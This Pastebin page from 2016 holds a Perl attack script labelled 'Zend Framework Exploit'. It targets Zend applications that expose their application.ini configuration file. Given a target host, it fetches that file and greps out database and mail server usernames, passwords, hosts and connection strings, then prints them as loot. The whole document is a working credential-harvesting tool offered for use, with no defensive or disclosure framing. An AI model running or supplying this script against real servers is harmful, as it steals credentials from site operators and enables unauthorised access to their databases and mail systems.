Advertisement
Guest User

Untitled

a guest
Aug 23rd, 2016
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.89 KB | None | 0 0
  1. </pre>
  2. <pre>#!/usr/bin/perl
  3.  
  4. # Zend Framework Exploit.
  5. # By KoubackTr
  6. # koubacktr@gmail.com
  7. # https://koubacktr.wordpress.com/
  8.  
  9.  
  10. #=====================================================================#
  11. # This script exploits a vulnerability in the Zend Framework #
  12. # Through the exposure of the configuration file "application.ini" #
  13. #=====================================================================#
  14. # Este script explora uma vulnerabilidade no Zend Framework #
  15. # Atravez da exposição do arquivo de configuração "application.ini" #
  16. #=====================================================================#
  17.  
  18. # Status: Em teste e adaptação // In test and adaptation
  19.  
  20.  
  21. # Libs
  22. use strict;
  23. use LWP::UserAgent;
  24. use Getopt::Long;
  25. use Config;
  26. use Term::ANSIColor;
  27.  
  28. my $os=$Config{osname};
  29.  
  30. if($os=="linux"){
  31.  
  32. }else{
  33. print "Ohh, this software run only in linux systems. [DIE]\n";
  34. die;
  35. }
  36.  
  37. print color 'bold cyan';
  38. print '
  39. __________ .___ ____ ___ .__ ____ __
  40. \____ /____ ____ __| _/ ____ \ \/ /_____ | | ____/_ |/ |_
  41. / // __ \ / \ / __ | _/ __ \ \ /\____ \| | / _ \| \ __\
  42. / /\ ___/| | \/ /_/ | \ ___/ / \| |_> > |_( <_> ) || |
  43. /_______ \___ >___| /\____ | \___ >___/\ \ __/|____/\____/|___||__|
  44. \/ \/ \/ \/ \/ \_/__|
  45. by KoubackTr || https://koubacktr.wordpress.com/
  46.  
  47. ';
  48. print color 'reset';
  49.  
  50. my ($target, $zend_path);
  51. my $options = GetOptions(
  52. 't=s'=> \$target,
  53. 'p=s'=> \$zend_path,
  54. );
  55.  
  56. unless($target){
  57. print color 'yellow';
  58. print "\t\t\t[!] Please, set a Zend target!\n";
  59. print "\t\t\tUse EX: $0 -t <target> -p <zend/path/>\n\n";
  60. exit;
  61. print color 'reset';
  62.  
  63. }
  64. unless($zend_path){
  65. my $zend_path="/";
  66. }
  67.  
  68. my $APP="application.ini";
  69. my $PATH="application/configs";
  70.  
  71. my $URL="http://$target/$zend_path/$PATH/$APP"; #// make a complete URL of application.ini
  72.  
  73. my $u = LWP::UserAgent->new;
  74. my $req = HTTP::Request->new(GET => $URL);
  75. my $resposta = $u->request($req);
  76.  
  77. if($resposta->is_success){
  78.  
  79. print color 'red';
  80. print "\t\t\t[+] TARGET IS VULNERABLE !! :)\n";
  81. print color 'reset';
  82. print "\t\t\t[+] EXPLORE DB CONFIG IN FILE... !! :)\n\n";
  83.  
  84. #// using curl for requet application.ini
  85.  
  86. my $db_host= `curl -s "$URL" | grep 'db.params.host'`;
  87. my $db_adapter=`curl -s "$URL" | grep 'db.adapter' `;
  88. my $db_user=`curl -s "$URL" | grep '.db.params.username' `;
  89. my $db_pass=`curl -s "$URL" | grep '.db.params.password' `;
  90. my $db_name=`curl -s "$URL" | grep 'db.params.dbname' `;
  91. my $db_geral=`curl -s "$URL"| grep 'connection_string' `;
  92.  
  93. #// Return and print config data
  94. print color 'cyan';
  95. print "\t$db_adapter \n";
  96. print "\t$db_host \n";
  97. print "\t$db_user \n";
  98. print "\t$db_pass \n";
  99. print "\t$db_name \n";
  100. print "\n$db_geral \n";
  101. print color 'reset';
  102.  
  103. print "\n";
  104. print "\t\t\t[+] EXPLORE MAIL CONFIG IN FILE... !! :)\n\n";
  105.  
  106.  
  107. my $mail_type=`curl -s "$URL" | grep 'mail.transport.type' `;
  108. my $mail_host= `curl -s "$URL" | grep 'mail.transport.host'`;
  109. my $mail_port=`curl -s "$URL" | grep 'mail.transport.port' `;
  110. my $mail_user=`curl -s "$URL" | grep '.mail.transport.username' `;
  111. my $mail_pass=`curl -s "$URL" | grep 'mail.transport.password' `;
  112.  
  113. print color 'cyan';
  114. print "\t$mail_type \n";
  115. print "\t$mail_host \n";
  116. print "\t$mail_port \n";
  117. print "\t$mail_user \n";
  118. print "\t$mail_pass \n";
  119.  
  120. print color 'reset';
  121.  
  122. print "\n\n END!\n";
  123.  
  124.  
  125. # Make a new request for get new lines and configuration of file. :p
  126. # ...
  127.  
  128. }
  129. else{
  130. #// The target is not vulnerable, sorry
  131. print color 'bold green';
  132. print "\t\t\t\n[!] TARGET IS NOT VULNERABLE😦 (BYE)\n\n";
  133. print color 'reset';
  134. }
  135.  
  136.  
  137. # END #
  138.  
  139. #
  140. # KoubackTr - 2014 http://twitter.com/kouback_tr_
  141. # irc.anonnet.org 6667 #Loc
  142. #</pre>
  143. <pre>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement